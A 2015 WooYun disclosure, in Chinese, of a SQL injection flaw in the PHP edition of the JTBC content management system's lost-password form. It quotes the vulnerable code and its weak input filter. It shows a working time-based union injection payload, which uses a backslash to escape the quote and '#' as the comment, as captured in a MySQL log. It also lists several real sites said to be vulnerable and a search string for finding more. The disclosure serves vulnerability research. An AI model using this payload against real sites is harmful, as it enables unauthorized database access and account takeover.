当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107009

漏洞标题:JTBC内容管理系统PHP版本注入漏洞

相关厂商:JTBC

漏洞作者: 命途多舛

提交时间:2015-04-24 15:38

修复时间:2015-06-08 15:40

公开时间:2015-06-08 15:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-24: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-06-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

JTBC内容管理系统PHP版本注入漏洞

详细说明:

1.首先定位到本次的漏洞文件。passport\common\incfiles\module_config.inc.php

function jtbc_cms_module_lostpassworddisp()
{
global $conn;
global $ndatabase, $nidfield, $nfpre;
$tusername = ii_get_safecode($_POST['username']);//这里传入参数
$temail = ii_get_safecode($_POST['email']);
$tname = ii_get_safecode($_POST['name']);
$tsqlstr = "select * from $ndatabase where " . ii_cfname('username') . "='$tusername' and " . ii_cfname('email') . "='$temail' and " . ii_cfname('name') . "='$tname'";
$trs = ii_conn_query($tsqlstr, $conn);
$trs = ii_conn_fetch_array($trs);
if ($trs)
{
$tpassword = ii_random(8);
$tmd5password = md5($tpassword);
$ttopic = ii_itake('module.lostpassword_topic', 'lng');
$ttopic = str_replace('[]', '[' . ii_itake('global.module.web_title', 'lng') . ']', $ttopic);
$tbody = ii_itake('module.lostpassword_body', 'lng');
$tbody = str_replace('[name]', ii_htmlencode($tname), $tbody);
$tbody = str_replace('[username]', ii_htmlencode($tusername), $tbody);
$tbody = str_replace('[password]', ii_htmlencode($tpassword), $tbody);
if (mm_sendemail($temail, $ttopic, $tbody))
{
$tsqlstr = "update $ndatabase set " . ii_cfname('password') . "='$tmd5password' where " . ii_cfname('username') . "='$tusername'";
ii_conn_query($tsqlstr, $conn);
mm_imessage(ii_itake('module.lostpassword_emailok', 'lng'));
}
else mm_imessage(ii_itake('module.lostpassword_emailerror', 'lng'));
}
else mm_imessage(ii_itake('module.lostpassword_infoerror', 'lng'), -1);
}


可以看出传入的参数经过了ii_get_safecode函数的过滤。
2.我们继续看ii_get_safecode的过滤规则。

function ii_get_safecode($strers)
{
if (!ii_isnull($strers))
{
$tstrers = $strers;
$tstrers = str_replace('\'', '', $tstrers);
$tstrers = str_replace(';', '', $tstrers);
$tstrers = str_replace('--', '', $tstrers);
return $tstrers;
}
}


可以看出程序只是过滤了单引号、分好和注释符。
3.可以看出程序并没有过滤反斜线(\),如果我们有两个连续可控的对象,就能够实现注入了。还是回答上面第一段代码,我们构造payload。我都只有一个斜杠,怎么变成了两个,乌云大大

3.jpg


从图上可以看出,这个POST请求的运行时间是5s,满足我们payload构造的注入。
4.然后我们去看一下mysql记录下来的日志文件。

150128 15:33:08   896 Connect   root@localhost on 
896 Query SET NAMES 'UTF8'
896 Init DB jtbc
896 Query select * from jtbc_passport where p_username='abc\' and p_email=' and 1=2 union select 1,sleep(5),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 # a' and p_name='test'
150128 15:33:13 896 Query select * from jtbc_aboutus where ab_hidden=0 and ab_lng='chinese' order by ab_time desc limit 0,10
896 Quit


可以看出我们abc后面的注释符转义了第一个闭合的单引号,然后造成了过滤。程序过滤了"--",我们也可以用"#"进行绕过。

漏洞证明:

3.jpg


互联网案列
http://t1.inodsoft.net/passport/index.php?action=lostpassword
http://www.ooo0.net/passport/index.php?action=lostpassword
http://www.rzeg.0fees.net/passport/index.php?action=lostpassword
http://epzhutou.site88.net/passport/index.php?action=lostpassword
http://www.greenarkfarm.com/passport/index.php?action=lostpassword
google搜索:Copyright 2004-2015 JTBC(CMS)

修复方案:

过滤

版权声明:转载请注明来源 命途多舛@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝